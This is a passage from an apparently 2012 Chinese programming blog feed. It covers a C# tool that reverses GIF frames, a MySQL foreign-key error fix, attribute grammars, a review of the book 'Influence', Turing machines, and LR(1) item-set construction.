&lt;p&gt;gif是动态的嘛。然后我昨天和一个朋友聊天的时候发了一串相同的gif图，然后看着千篇一律的东西。我想能不能写个程序实现gif的初始状态不同呢。什么意思呢。我们知道，gif是由帧构成的，我想实现的功能是比如一个gif共有十帧，那么我写出来的程序能够生成10个gif文件，分别对应不同的初始状态来进行循环。后来一想，gif帧太多的话，比较慢，而且也不实用，于是决定简化一下，只做一个反转工具，比如一个gif是从左到右播放的，通过这个成功可以生成一个相同的gif图，不过是倒着播放的。&lt;/p&gt;
&lt;p&gt;思路很简单，就是先把gif分解成很多帧，然后对帧进行合并，合并帧之前把帧的位置反转一下就可以了。因为我自己对图像处理的知识不懂，只想到了思路，所以这些功能都要找些资料，然后修改，测试。&lt;/p&gt;
&lt;p&gt;分割帧的代码如下&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34; title=&#34;分割gif&#34;&gt;        //解码gif图片
        public List&amp;lt;string&amp;gt; GetFrames(string pPath, string pSavedPath)
        {
            Image gif = Image.FromFile(pPath);
            FrameDimension fd = new FrameDimension(gif.FrameDimensionsList[0]);

            //获取帧数(gif图片可能包含多帧，其它格式图片一般仅一帧)
            int count = gif.GetFrameCount(fd);
            List&amp;lt;string&amp;gt; gifList=new List&amp;lt;string&amp;gt;();
            //以Jpeg格式保存各帧

            for (int i = 0; i &amp;lt; count; i++)
              {
                  gif.SelectActiveFrame(fd, i);
                  gif.Save(pSavedPath + &#34;\\frame_&#34; + i + &#34;.png&#34;, ImageFormat.Png);
                  gifList.Add(pSavedPath + &#34;\\frame_&#34; + i + &#34;.png&#34;);
              }
            return gifList;
         }&lt;/pre&gt;
&lt;p&gt;可以看到，返回了一个包含所有生成的帧地址的list列表。然后就是使用gifList作为参数来合并了。&lt;/p&gt;
&lt;pre class=&#34;lang:c# decode:true&#34; title=&#34;合并gif&#34;&gt;//获取系统临时目录存放解码后的png图片
                string temppath = System.Environment.GetEnvironmentVariable(&#34;TEMP&#34;); 

                List&amp;lt;string&amp;gt; gifList = GetFrames(tBoxFile.Text, temppath);
                gifList.Reverse();
                String outputFilePath = &#34;new.gif&#34;;
                AnimatedGifEncoder ae = new AnimatedGifEncoder();
                ae.Start(outputFilePath);
                ae.SetDelay(100);    // 延迟间隔
                ae.SetRepeat(0);  //-1:不循环,0:总是循环 播放  
                for (int i = 0, count = gifList.Count; i &amp;lt; count; i++)
                {
                    ae.AddFrame(Image.FromFile(gifList[i]));
                }
                ae.Finish();
                MessageBox.Show(&#34;成功!新文件已保存在同目录&#34;);&lt;/pre&gt;
&lt;p&gt;这里面使用了AnimatedGifEncoder这个类，这是Gif.Components.dll动态连接库里的类（此库开源，文末给出地址），是我在codeProject上找到的。首先我把gifList反转，然后合并保存到同目录。中间生成的帧为了方便我保存到了temp目录。&lt;/p&gt;
&lt;p&gt;本来这个库里是分割gif的功能的。但是我实际测试后发现效果非常差，图片黑条泛滥，根本没法看。所以还是使用上面那段代码，相关代码我依然保存在工程里，有兴趣可以自己测试。&lt;/p&gt;
&lt;p&gt;明天四级考试，求人品。。&lt;/p&gt;
&lt;p&gt;项目源码:&lt;a href=&#34;http://pan.baidu.com/share/link?shareid=125360&amp;amp;uk=1493685990&#34;&gt;gif反转工具&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;参考：
&lt;a href=&#34;http://www.cnblogs.com/top5/archive/2011/03/19/1988595.html&#34;&gt;C#图片处理：获取GIF 动画图片中的各个帧&lt;/a&gt;
&lt;a href=&#34;http://www.codeproject.com/Articles/11505/NGif-Animated-GIF-Encoder-for-NET&#34;&gt;NGif, Animated GIF Encoder for .NET&lt;/a&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>MySQL ERROR 1005: Can&#39;t create table  (errno: 150)解决办法</title>
      <link>http://blog.leaver.me/2012/06/10/mysql-error-1005-cant-create-table-errno-150%E8%A7%A3%E5%86%B3%E5%8A%9E%E6%B3%95/</link>
      <pubDate>Sun, 10 Jun 2012 20:02:31 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/10/mysql-error-1005-cant-create-table-errno-150%E8%A7%A3%E5%86%B3%E5%8A%9E%E6%B3%95/</guid>
      <description>&lt;p&gt;最近在做数据库大作业，采用mysql建立数据库的时候出现了这个情况，查了一下，解决了。&lt;/p&gt;
&lt;p&gt;出现问题的大致可能情况&lt;/p&gt;
&lt;p&gt;1、外键的引用类型不一样，如主键是int外键是char&lt;/p&gt;
&lt;p&gt;2、找不到主表中引用的列&lt;/p&gt;
&lt;p&gt;3、主键和外键的字符编码不一致，也可能存储引擎不一样&lt;/p&gt;
&lt;p&gt;对于第一个问题，检查一下自己的主外键记录数据类型是否一样，改了就行了，对于第二个问题，同样的道理，确定你主表中有对应的列。对于第三个问题&lt;/p&gt;
&lt;pre class=&#34;lang:pgsql decode:true  crayon-selected&#34;&gt;create table pw_test(
uid int unsigned not null,
primary key (uid),
foreign key (uid) references pw_other(uid)
on delete cascade
on update cascade
)ENGINE = MYISAM;&lt;/pre&gt;
&lt;p&gt; &lt;/p&gt;
&lt;p&gt;括号外面的语句设置了引擎。实战过程中通过。中间的外键设置了delete 和update约束。uid引用了pw_other表中的uid键
记下语法，出现问题的时候就可以用了。&lt;/p&gt;</description>
    </item>
    <item>
      <title>属性文法</title>
      <link>http://blog.leaver.me/2012/06/08/%E5%B1%9E%E6%80%A7%E6%96%87%E6%B3%95/</link>
      <pubDate>Fri, 08 Jun 2012 21:31:13 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/08/%E5%B1%9E%E6%80%A7%E6%96%87%E6%B3%95/</guid>
      <description>&lt;p&gt;　　我们知道，许多编译程序采用属性文法和语法制导翻译方法对语义处理工作进行比较规范和抽象的描述。&lt;/p&gt;
&lt;p&gt;　　而一个属性文法包含一个上下文无关文法和一系列文法规则，语义规则是指：对于文法的每个产生式都配备了一组属性的计算规则&lt;/p&gt;
&lt;p&gt;　　语义规则附在文法的每个产生式上，而语法制导翻译是指在语法分析过程中，完成附加在所使用的产生式上的语义规则描述的动作。&lt;/p&gt;
&lt;p&gt;　　·语法制导：基于语法分析中用到的文法产生式&lt;/p&gt;
&lt;p&gt;　　·翻译：完成语义分析的各项功能，不仅指生成中间代码&lt;/p&gt;
&lt;p&gt;　　形式上讲，一个属性文法是一个三元组，A＝（G，V，F），其中G是一个上下文无关文法；V是有穷的属性集，每个属性与文法的一个终结符或非终结符关联，属性加工的过程即是语义处理的过程。F是关于属性的属性断言或一组属性的计算规则（称为语义规则）。断言或语义规则与一个规则式关联，只引用该规则式左端或右端的终结符或非终结符关联的属性。形式化的东西看看就好，后面给出具体例子分析。&lt;/p&gt;
&lt;p&gt;　　&lt;div&gt;既然称之为属性文法，那么什么属性呢。这些属性代表与文法符号相关信息，比如它的类型、值、代码序列、符号表内容等等。属性与变量一样，可以进行计算和传递。可以类比我们平时写代码时候一些成员变量。。属性又分为综合属性和继承属性。&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;　　&lt;div&gt;n在一个属性文法中，对应于每个产生式A→a都有一套与之相关联的语义规则，每条规则的形式为：&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;　　b:=f(c1,c2,…,ck)，只有在已知 c1-ck 值的基础上，才能计算属性值 b， 称属性 b 依赖于属性 c1-ck，至于c1-ck依赖于哪个，就得看由c1-ck在左侧的规则了。也就是看下面的规则了。&lt;/p&gt;
&lt;p&gt;　　这里，f是一个函数，而且或者&lt;/p&gt;
&lt;p&gt;　　1. b是A的一个综合属性并且c1,c2,…,ck是产生式右边文法符号的属性，或者&lt;/p&gt;
&lt;p&gt;　　2. b是产生式右边某个文法符号的一个继承属性并且c1,c2,…,ck 是A或产生式右边任何文法符号的属性。  属性b依赖于属性c1,c2,…,ck。&lt;/p&gt;
&lt;p&gt;　　属性文法中常用记号N·t表示与非终结符号N相关联的属性t。&lt;/p&gt;
&lt;p&gt;　　&lt;div&gt;注意：¨终结符只有综合属性，由词法分析器提供&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;　　&lt;div&gt;¨非终结符既可有综合属性也可有继承属性，文法开始符号的所有继承属性作为属性计算前的初始值&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;　　¨在语法树中，一个结点的综合属性的值由其子结点的属性值确定。一个结点的继承属性由此结点的父结点和/或兄弟结点的某些属性确定&lt;/p&gt;
&lt;p&gt;　　根据包含的属性类型，属性文法分为：S-属性文法和L-属性文法&lt;/p&gt;
&lt;p&gt;　　S-属性文法是仅包括综合属性的属性文法；L -属性文法是包括综合属性和继承属性的属性文法。&lt;/p&gt;
&lt;p&gt;　　给出一个简单的实例说明上面的内容：&lt;/p&gt;
&lt;p&gt;　　&lt;div&gt;考虑非终结符A，B和C，其中，A有一个继承属性a和一个综合属性b，B有综合属性c，C有继承属性d。产生式A→BC可能有规则&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;　　C.d:=B.c+1&lt;/p&gt;
&lt;p&gt;　　A.b:=A.a+B.c&lt;/p&gt;
&lt;p&gt;　　而属性A.a和B.c在其它地方计算&lt;/p&gt;
&lt;p&gt;　　为什么是这样的，因为此时A就是A，B是X1，C是X2，对于d来说，他是产生式右部C的一个属性，c是右部B的属性，属性d依赖于属性c，和1，所以它是C的继承属性，对于c来说，他是产生式右部B的一个属性，但是c不依赖于d，而是d依赖于c所以c属性类型无法确定，对于b，他是A的一个属性，并且a是A的属性，c是产生式右部的属性，所以b是A的综合属性，而对于a，因为不能确定a属性依赖于那个属性，所以。无法得知。从上面我可以得出一个规律，对于一个属性规则来说，一条规则只能确定其左侧的属性类型，而右侧的属性需要由一个由他在左侧的规则来确定。比如，可以看到上面的规则中，c和a都不能确定，就是因为在规则右侧。&lt;/p&gt;
&lt;p&gt;　　此部分可能理解不够深刻，如有错误欢迎指正。&lt;/p&gt;
&lt;p&gt;　　参考：&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://jpkc.hdu.edu.cn/computer/byyl/online/5-2.htm&#34;&gt;http://jpkc.hdu.edu.cn/computer/byyl/online/5-2.htm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;　　&lt;a href=&#34;http://metc.gdut.edu.cn/compile/nandian/n-8.htm&#34;&gt;http://metc.gdut.edu.cn/compile/nandian/n-8.htm&lt;/a&gt;
　　&lt;/p&gt;</description>
    </item>
    <item>
      <title>你为什么会说是？-[影响力]</title>
      <link>http://blog.leaver.me/2012/06/07/%E4%BD%A0%E4%B8%BA%E4%BB%80%E4%B9%88%E4%BC%9A%E8%AF%B4%E6%98%AF-%E5%BD%B1%E5%93%8D%E5%8A%9B/</link>
      <pubDate>Thu, 07 Jun 2012 10:58:49 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/07/%E4%BD%A0%E4%B8%BA%E4%BB%80%E4%B9%88%E4%BC%9A%E8%AF%B4%E6%98%AF-%E5%BD%B1%E5%93%8D%E5%8A%9B/</guid>
      <description>&lt;p&gt;　　今天早上把这本书读完了，短短的300页，绝对是今年读到的又一本经典之作，书摘什么的因为是读的纸质版，所以没有写什么笔记，但是还是简单的总结下书中的内容。顺带谈谈自己的感受。&lt;/p&gt;
&lt;p&gt;　　就像昨天文章中提到的，这本书讲的不是成功学，而是心理学，讲我们在生活中为什么有时候会受到他人，或者是一些定律的影响，不知不觉中做了后来后悔的事情。或者是明明已经后悔了，却无法反悔。&lt;/p&gt;
&lt;p&gt;　　影响力的几个武器；&lt;/p&gt;
&lt;p&gt;　　&lt;em&gt;第1种武器：互惠&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;　　互惠原理认为，我们应该尽量以相同的方式来回报他人为我们所作的一切。接受往往和偿还联系在一起，尽管互惠原理经常带给人们以负债感，但是总体而言，我们从中得利的时候还是占多数的，相比而言还是划算的。从而，相信并服从这个原理成为人们日常生活中一个十分重要的准则，而违背它则要付出严重的代价。人们普遍对那种只求索取不知偿还的人感到不信任，并尽量远离避免与之接触。往深里讲，互惠原理是人类社会形成的一大助力，是群体协作的默认基础。 在商业上最经典的案例则体现在商场里的“免费试用”中。很多人觉得，如果从那个笑容可掬的小姐手中接受了可以免费品尝的食物，就不好意思把杯子一还转身离开，总得买点什么吧，即时他们对那种商品并不是那么感兴趣。&lt;/p&gt;
&lt;p&gt;　　&lt;em&gt;第2种武器：承诺与一致&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;　　一旦我们做出了一个决定，或选择了一种立场，就会有发自内心以及来自外部的压力来迫使我们与此保持一致。在这种压力下，我们总是希望以实际行动来证明我们以前的决定是正确的。我们要让自己相信，自己作出了明智的抉择，而且毫无疑问地，自我感觉良好。&lt;/p&gt;
&lt;p&gt;　　一个例子是安利公司就要求每个销售人员都要定下一个销售目标，而且不是光说说而已，必须得写下来。书面声明之所以特别有效，原因之一是它能使目标和方向都更明确，更重要的是，它能够轻易地公之于众。一旦个人公开选择某种立场之后，马上就会有一种维持这种立场的压力，因为他想在别人眼里显得前后一致。我承认我非常讨厌这家公司，有个笑话是这样的，十年后，我们不经意间再次相遇，她低声问我：“这些年过得好吗？她对你好吧。”我很伤感，说：“我还没结婚，一直等你。”她眼圈红了红，说：“你晚上7点来宾馆找我吧。”七夕夜，月如钩，我手捧鲜花，提前半小时来到宾馆，她迎我进去，招呼我坐下，幽幽问道：“你听说过安利吗？”&lt;/p&gt;
&lt;p&gt;　　要想戒烟或者减肥成功，这种方法是非常有效的。给自己在乎的人说自己一定要减肥成功，并且勇敢说出来，这种压力会迫使你减肥成功&lt;/p&gt;
&lt;p&gt;　　&lt;em&gt;第3种武器：社会认同&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;　　有点像是从众，但不完全是，社会认同原理指出，我们进行是非判断的标准之一就是看别人是怎么想的，尤其是当我们要决定什么是正确的行为的时候。如果我们看到别人在某种场合做某件事情，我们就会断定这样做是有道理的。一个很有趣的实验可以证实这一点，站在一条繁忙的人行道上，选定天空中的某一快空白，盯着看上1分钟，在这段时间里你的身边大概不会发生什么事情；第二天，你带上四五个朋友到同一地点一起往上看，不出1分钟，就会有大群路人停下来，把脖子伸得长长的，跟你们几个一起往天上看；即使是那些没有加入你们的行人，也无法阻抗那种至少往上瞄一眼的压力。&lt;/p&gt;
&lt;p&gt;　　在形势模糊不清的时候，每个人都希望看一看别人正在做什么，从而致使一个极为重要的现象的出现――“多元无知”。这个可以很好的解释小悦悦事件，因为路人多了以后，前一个的人的行为影响了后一个人，大家都在看别人在做什么，并且人多了以后，每个人的责任感被分散，因此，施救的概率降下来了，我不是要辩护什么，而是反对喜欢扣标签的人，这件事并不能说明社会道德什么下降及其厉害，虽然有下降，这件事只是很典型的一个社会心理学实例罢了。&lt;/p&gt;
&lt;p&gt;　　书中做出指出，如果你遇到了危难，很可能出现人很多，但没人施救。。　本书作者的建议是，当你遇到突发灾难时，直接从人群中挑出一个人来，注视着他，指着他，直接对他说：“你，蓝夹克的先生，我需要帮助，请叫一辆救护车来”，总之，在紧急状态中需要帮助时，最有效的策略是减少周围人对你的处境和他们和责任的不确定性，尽量把你所需要的帮助表达精确。不要让旁观者自己去下结论，因为社会认同原理和多元无知效应很可能使他们对你的处境作出错误的诊断，在人群中尤其如此。 这样说了以后，被指定的那个人有了一种责任感，进行施救，其他人会因为确定了状况加入救助的行列。&lt;/p&gt;
&lt;p&gt;　　&lt;em&gt;第4种武器： 喜好&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;　　一句话就是：人们总是比较愿意答应自己认识和喜爱的人提出的请求 ，产生喜好的来源主要有外表的吸引力，这个不多解释，美女得到的帮助在陌生的时候必其他人要多，相似性，指对和自己相似的人，比如外貌，衣着，爱好的相同都会产生；称赞，是指人们会奉承话通常来之不拒，并对奉承者产生好感，接触和合作，指一般经历了一起合作的人之间会产生明显的好感，一个有意思的例子是人们对和他们一起吃饭的人好感尤其强烈；关联，指人们会爱屋及乌，比如中国古代的近朱者赤，近墨者黑，表示的有点这个意思，人们会把你交往的人的品质关联到你自己身上，也会把你传递的消息关联上你的身上，如果你经常传递不好的消息，，你懂的。&lt;/p&gt;
&lt;p&gt;　　要对付这么多赢取我们好感的手段，不是一件容易的事。一个有效的方法是，将注意力集中在效果而不是原因上。当我们在和那些老练的推销员打交道时，我们只需要注意一件事，我们是不是过于迅速地对这个人产生了过多的好感。一旦答案为“是”的时候，我们就该反击了。不过这个只针对于商业上的，在真实的社交中，我还是很相信一见钟情，相见恨晚的。嘻嘻。&lt;/p&gt;
&lt;p&gt;　　&lt;em&gt;第5种武器：权威&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;　　密歇根大学的心理学教授Mligram (1974)主持了一个实验，结果表明，具有独立思考能力的成年人也会为了服从权威的命令而做出一些完全丧失理智的事情。这可以解释那些利用各种假头衔，衣着（比如警服）来骗人的人。如何克服，两步，第一步，问自己对方是不是会真的专家，第二步问自己他是不是会为自己考虑，同时还要提防有些专家通过抛出一些自己的小缺点来增强”诚实“，表明自己的可信度。这里面有个说法是我以前在社会心理学里看到的，讲到一个演讲的成功与否很大程度上取决于权威的权威，和主题没什么太大关系，这可以解释为什么有时候听专家演讲觉得跟没听似的。。&lt;/p&gt;
&lt;p&gt;　　&lt;em&gt;第6种武器：短缺&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;　　短缺原理在现实生活中最常见的运用就是商家所策划的“限量版”商品。不管数量有限的信息是真的还是伪造的，商家的用意都是让顾客相信某种东西不可多得，从而立刻觉得它身价百倍。与数量有限技巧相对应得是“截止时间”策略，也就是对顾客获得推销从业者提供得商品的机会加上时间限制，所谓的“最后三天，清仓甩卖”即源于此。我家附近的最后三天已经for循环了N次了。。。&lt;/p&gt;
&lt;p&gt;　　最后作者也认为世界还是很复杂的，有时候被影响影响也无伤大雅，因为事情太多，不可能完全兼顾，但是对于一些很重要的事情还是要注意避免这类影响。我在读的过程中，也就是书的前半段，讲到利用对比原理和喜好原理来审问犯人，一个好警察一个坏警察，来套取犯人的口供，这在法律上是许可的 ，可我却有些不好的感受，对犯人来说，他受到了心理学的影响，他以为那个警察真的关心他，他以为这个好警察真的好，可是事实上，这只是一种策略罢了，这是多么残忍的一件事啊，所以，昨天我想到了一个词，叫做反心理学，我也不知道具体想表达什么意思，可能当时想的就是避免受到这类心理学应用的影响，不被残忍对待吧。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Turing机、人工智能以及我们的世界</title>
      <link>http://blog.leaver.me/2012/06/02/turing%E6%9C%BA%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E4%BB%A5%E5%8F%8A%E6%88%91%E4%BB%AC%E7%9A%84%E4%B8%96%E7%95%8C/</link>
      <pubDate>Sat, 02 Jun 2012 07:58:25 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/02/turing%E6%9C%BA%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E4%BB%A5%E5%8F%8A%E6%88%91%E4%BB%AC%E7%9A%84%E4%B8%96%E7%95%8C/</guid>
      <description>&lt;p&gt;　　matrix67大牛太帅了。&lt;a href=&#34;http://www.matrix67.com/blog/archives/4930&#34;&gt;这篇文章&lt;/a&gt;给我很大的震撼，他传递的信息远不止计算机世界。强烈推荐，精彩的部分做了引用，事实上，全都很精彩啊。&lt;/p&gt;
&lt;p&gt;　　昨天终于读完了《The Annotated Turing》一书，第一次完整地阅读了 Turing 最经典的那篇论文，理解了 Turing 机提出的动机和由此带来的一系列结论。不过，这本书的最大价值，则是让我开始重新认识和思考这个世界。在这里，我想把我以前积累的哲学观点和最近一些新的思考记下来，与大家一同分享。《The Annotated Turing》一书中的一些学术内容，留待以后几篇日志与大家分享。今年是 Alan Turing 诞辰 100 周年，图灵公司将推出这本书的中译本&lt;a href=&#34;http://www.ituring.com.cn/book/801&#34;&gt;《图灵的秘密》&lt;/a&gt;，现在正在紧张的编辑排版中，不久之后就能和大家见面。&lt;/p&gt;
&lt;p&gt;　　1928 年， David Hilbert 提出了一个著名的问题：是否存在一系列有限的步骤，它能判定任意一个给定的数学命题的真假？这个问题就叫做 Entscheidungsproblem ，德语“判定性问题”的意思。大家普遍认为，这样的一套步骤是不存在的，也就是说我们没有一种判断一个数学命题是否为真的通用方法。为了证明这一点，真正的难题是将问题形式化：什么叫做“一系列有限的步骤”？当然，现在大家知道，这里所说的“有限的步骤”指的就是由条件语句、循环语句等元素搭建而成的一个机械过程，也就是我们常说的“算法”。不过，在没有计算机的时代，人们只能模模糊糊地体会“一个机械过程”的意思。 1936 年，Alan Turing 在著名的论文《On computable numbers, with an application to the Entscheidungsproblem》中提出了一种假想的机器，第一次给了“机械过程”一个确凿的含义。&lt;/p&gt;
&lt;p&gt;　　Turing 提出的机器非常简单。假设有一张无穷向右延伸的纸条，从左至右分成一个一个的小格子。每一个小格子里都可以填写一个字符（通常是单个数字或者字母）。纸条下方有一个用来标识“当前格子”的箭头，在机器运行过程中，箭头的位置会不断移动，颜色也会不断变化。不妨假设初始时所有格子都是空白，箭头的颜色是红色，并且指向左起第一个格子。为了让机器实现不同的功能，我们需要给它制定一大堆指令。每条指令都是由五个参数构成，格式非常单一，只能形如“如果当前箭头是红色，箭头所在格子写的是字符 A ，则把这个格子里的字符改为 B ，箭头变为绿色并且向右移动一格”，其中最后箭头的移动只能是“左移一格”、“右移一格”、“不动”中的一个。&lt;/p&gt;
&lt;p&gt;　　精心设计不同的指令集合，我们就能得到功能不同的 Turing 机。你可以设计一个生成自然数序列的 Turing 机，或者是计算根号 2 的 Turing 机，甚至是打印圆周率的 Turing 机。 Turing 本人甚至在论文中实现了这么一种特殊的 Turing 机叫做通用 Turing 机，它可以模拟别的 Turing 机的运行。具体地说，如果把任意一个 Turing 机的指令集用 Turing 自己提出的一种规范方式编码并预存在纸条上，那么通用 Turing 机就能够根据纸条上已有的信息，在纸条的空白处模拟那台 Turing 机的运作，输出那台 Turing 机应该输出的东西。&lt;/p&gt;
&lt;p&gt;　　但是， Turing 机并不是无所不能的。 Turing 证明了一个看似有些惊人的事实：不存在这样的一个 Turing 机，它能读取任意一个 Turing 机的指令集，并判断该 Turing 机是否将会在纸条上打印出至少一个 0 。注意，简单地用通用 Turing 机做模拟并不是一个可行的方案，因为模拟到现在还没有打出 0 ，不意味着今后也就永远不会打出 0 。这个定理有一个更深刻的含义，即没有一种通用的方法可以预测一台 Turing 机无穷远后的将来（后人把这个结论简化为了著名的&lt;a href=&#34;http://www.matrix67.com/blog/archives/55&#34;&gt;停机问题&lt;/a&gt;）。正如《The Annotated Turing》封底上的一段文字所说：在没有计算机的时代， Turing 不但探索了计算机能做的事，还指出了计算机永远不能做到的事。&lt;/p&gt;
&lt;p&gt;　　在论文的最后一章， Turing 给出了一种 Turing 机指令集和一阶逻辑表达式的转换规则，使得这个 Turing 机将会打出 0 来，当且仅当对应的一阶逻辑表达式为真。然而，我们没有一种判断 Turing 机是否会输出 0 的算法，因此我们也就没有一种判断数学命题是否为真的通用办法。于是， Entscheidungsproblem 有了一个完美的解答。&lt;/p&gt;
&lt;p&gt;　　有趣的是，Turing 机本身的提出比 Entscheidungsproblem 的解决意义更大。计算机诞生以后，出现了五花八门的高级编程语言，一个比一个帅气，但它们的表达能力实际上都没有超过 Turing 机。事实上，再庞大的流程图，再复杂的数学关系，再怪异的语法规则，最终都可以用 Turing 机来描述。 Turing 机似乎是一个终极工具，它似乎能够表达一切形式的计算方法，可以描述一切事物背后的规律。在同一时代，美国数学家 Alonzo Church 创立了 λ 算子（λ-calculus），用数学的方法去阐释“机械过程”的含义。后来人们发现， Turing 机和 λ 算子是等价的，它们具有相同的表达能力，是描述“可计算性”的两种不同的模型。 Turing 机和 λ 算子真的能够描述所有直观意义上的“可计算数”、“可计算数列”、“可计算函数”吗？有没有什么东西超出了它们的表达能力？这个深刻的哲学问题就叫做 Church–Turing thesis 。当然，我们没法用形式化的方法对其进行论证，不过大家普遍认为， Turing 机和 λ 算子确实已经具有描述世间一切复杂关系的能力了。人们曾经提出过一些 hypercomputer ，即超出 Turing 机范围的假想机器，比如能在有限时间里运行无穷多步的机器，能真正处理实数的机器，等等。不过这在理论上都是不可能实现的。&lt;/p&gt;</description>
    </item>
    <item>
      <title>LR(1)项目集规范簇的构造</title>
      <link>http://blog.leaver.me/2012/06/02/lr1%E9%A1%B9%E7%9B%AE%E9%9B%86%E8%A7%84%E8%8C%83%E7%B0%87%E7%9A%84%E6%9E%84%E9%80%A0/</link>
      <pubDate>Sat, 02 Jun 2012 03:50:48 +0000</pubDate>
      <guid>http://blog.leaver.me/2012/06/02/lr1%E9%A1%B9%E7%9B%AE%E9%9B%86%E8%A7%84%E8%8C%83%E7%B0%87%E7%9A%84%E6%9E%84%E9%80%A0/</guid>
      <description>&lt;p&gt;　　首先我们知道LR(0)的项目的形式是[A→α·β ]这样的.而在LR(1)中的项目形式是[A→α·β ，a ]，其中A→α·β 为LR(0)项目，称为心，a为终结符或#，称为向前搜索符。对归约项目[A→α·,a]，仅当前输入符号是a时，才能用A→α进行归约。一会将会看到具体的例子。&lt;/p&gt;
&lt;p&gt;　　课本上给出的规则是：我将要对照着规则来说明，这里要强调一下，&amp;quot;,&amp;lsquo;在这里是分隔符。不是终结符。他是一个标志，&lt;/p&gt;
&lt;p&gt;　　以S′→·S，#属于初始项目集中，把&amp;rsquo;#&amp;lsquo;号作为向前搜索符，表示活前缀为γ(若γ是有关S产生式的某一右部)要归约成S时，必须面临输入符为&amp;rsquo;#&amp;lsquo;号才行。因此对初始项目S′→·S，# 求闭包后再用转换函数逐步求出整个文法的LR(1)项目集族。具体构造步骤如下：&lt;/p&gt;
&lt;p&gt;　(1) 构造LR(1)项目集的闭包函数。&lt;/p&gt;
&lt;p&gt;　　a) I 的任何项目都属于CLOSURE(I)
　　b) 若有项目[A→α·Bβ,a ]属于CLOSURE(I)，B→γ是文法中的产生式，β∈V*，b∈FIRST(βa)， 则[B→·γ,b]也属于CLOSURE(I)中。
　　c) 重复b)直到CLOSURE(I)不再增大为止。&lt;/p&gt;
&lt;p&gt;　　(2) 转换函数的构造&lt;/p&gt;
&lt;p&gt;　　LR(1)转换函数的构造与LR(0)的相似，GO(I,X)＝CLOSURE(J)　其中I是LR(1)的项目集，X是文法符号：
　　J={任何形如[A→αX·β,a]的项目 | [A→α·Xβ,a]∈I}&lt;/p&gt;
&lt;p&gt;　　例如下列文法G′为：&lt;/p&gt;
&lt;p&gt;　　(0) S′→S
　　(1) S→aAd　　
　　(2) S→bAc　　
　　(3) S→aec
　　(4) S→bed
　　(5) A→e　
　　构造他的LR(1)项目集规范簇。&lt;/p&gt;
&lt;p&gt;　　以I0=CLOSURE（S′→·S，#）开始。运算。若有项目[A→α·Bβ,a ]属于CLOSURE(I)，B→γ是文法中的产生式，β∈V*，b∈FIRST(βa)， 则[B→·γ,b]也属于CLOSURE(I)中。此时，我们可以把S看成B，#看成a，然后需要求FIRST集合，此时没有β，a为#，所以FIRST（#）中只有一个b=#，而S有四个产生式。所有四个产生式加上#都是在I0中，最终求得的I0项目集为&lt;/p&gt;
&lt;p&gt;　　{　
　　S′→·S,#　　
　　S→·aAd,#　　
　　S→·bAc,#　　
　　S→·aec,#　　
　　S→·bed,#　　
　　}&lt;/p&gt;
&lt;p&gt;　　然后使用GO函数来构造I1，从J={任何形如[A→αX·β,a]的项目 | [A→α·Xβ,a]∈I}我们可以知道I1的核（最初的产生式）就是这里的J，然后呢。X是I（也就是我们的I0）中的·后面的符号，也就是输入符。。可以看到在I0中，X可以为S，a，b，我们先以I1=GO(I0,S)=CLOSURE( S′→S·,# )，注意，·号已经前进了。因为J是I输入进一的项目，求I1，发现·后面没符号了，所以闭包就是他自己了。最终求得的I1的项目集为：&lt;/p&gt;
&lt;p&gt;　　{S′→S·,# }&lt;/p&gt;
&lt;p&gt;　　我们上一步是用的I1=GO(I0,S)来求得，我们求I2的时候使用GO（I0，a）来求，此时X就是a了。然后我们吧I0中符合的项目中的·后移一位得到J然后对J求闭包，就是I2了。此处J=S→a·Ad,# 和S→a·ec,#&lt;/p&gt;
&lt;p&gt;　　I2=GO(I0,a)=CLOSURE(S→a·Ad,# S→a·ec,#)，然后又回到了求闭包了。&lt;/p&gt;
&lt;p&gt;　　对于S→a·ec,#，因为输入符下一位是一个终结符，也就是说没有B→γ这样的产生式，所以这个就不用继续向下求闭包了，闭包就是他自己嘛。然后关键是S→a·Ad,# 此处的A相当于规则中的B，d相当于规则中的β，A→e存在。为了确定这个心的向前搜索符，我们根据规则需要求b∈FIRST(βa)，这里也就是求First(d#),显然结果为b=d，规则中指出[B→·γ,b]也属于CLOSURE(I)，所以可以确定A→·e,d也在I2中。。&lt;/p&gt;
&lt;p&gt;　　最终I2的项目集为&lt;/p&gt;
&lt;p&gt;　　{
　　S→a·Ad,#　　
　　S→a·ec,#　　
　　A→·e,d　　
　　}&lt;/p&gt;
&lt;p&gt;　　到这里，关键点就说完了。只需要继续求GO(I0,b)，然后求GO（I1，X），GO（I2，X）等等。X的确定前面已经说了，就是I1，I2的·后面的符号。就行了。。当然像此处的I1，·后面已经没付好了，所以GO（I1，X）就不用求了。。&lt;/p&gt;
&lt;p&gt;　　这种东西还是要自己手动练习的。所以我给出最终的全部项目集规范簇，大家按照这个步骤来做一做。看看结果对不对吧。
　　&lt;table border=&#34;1px&#34;  rules=all&gt;&lt;tr&gt;&lt;td&gt;
　  I0： S′→·S,#
　　　 　S→·aAd,#
　　　 　S→·bAc,#
　　　 　S→·aec,#
　　　 　S→·bed,#&lt;/td&gt;&lt;td&gt;
　　I1： S′→S·,#&lt;/td&gt;&lt;td&gt;
　　I2： S→a·Ad,#
　　　 　S→a·ec,#
　　　 　A→·e,d&lt;/td&gt;&lt;td&gt;
　　I3： S→b·Ac,#
　 　　　S→b·ed,#
